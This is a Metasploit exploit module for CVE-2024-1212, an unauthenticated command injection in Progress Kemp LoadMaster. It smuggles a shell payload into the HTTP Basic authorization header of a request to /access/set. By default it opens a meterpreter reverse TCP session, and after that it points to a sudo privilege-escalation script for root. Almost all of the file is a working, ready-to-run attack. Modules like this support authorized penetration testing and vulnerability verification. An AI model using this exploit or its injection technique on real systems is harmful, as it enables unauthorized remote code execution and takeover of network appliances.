##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  def flag_file
    return @flag_file unless @flag_file.nil?

    @flag_file = '/tmp/' + Rex::Text.rand_text_alpha(5)
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in
          Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.
          The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and
          7.2.48.10 (LTS).
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-1212'],
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']
        ],
        'DisclosureDate' => '2024-03-19',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic', # Add logic to run the payload only once
            {
              'Payload' => {
                'Prepend' => "[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})& ",
                'Append' => ')',
                'BadChars' => "\x3a\x27"
              }
            }
          ],
          [
            'Do_Not_Prepend_Runonce_Code', # This will likely result in 2-3 sessions
            {
              'Payload' => {
                'BadChars' => "\x3a\x27"
              }
            }
          ]
        ],
        'Default_target' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
          'FETCH_WRITABLE_DIR' => '/tmp/',
          'SSL' => true,
          'RPORT' => 443
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/'])
    ])
  end

  def exploit
    uri = normalize_uri(target_uri.path, 'access', 'set')

    vprint_status('Sending payload...')

    send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' =>
        {
          'param' => 'enableapi',
          'value' => '1'
        },
      'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))),
      'verify' => false
    })
  end

  def on_new_session(client)
    super
    print_good('Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell')
  end

  def check
    print_status("Checking if #{peer} is vulnerable...")

    uri = normalize_uri(target_uri.path, 'access', 'set')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => {
        'param' => 'enableapi',
        'value' => '1'
      },
      'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))),
      'verify' => false
    })

    # No response from server
    unless res
      return CheckCode::Unknown('Could not determine the target status')
    end

    # Check for specific error pattern in headers or body to confirm vulnerability
    if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
      return CheckCode::Vulnerable('The target is vulnerable')
    else
      return CheckCode::Safe('The target is not vulnerable')
    end
  end

end
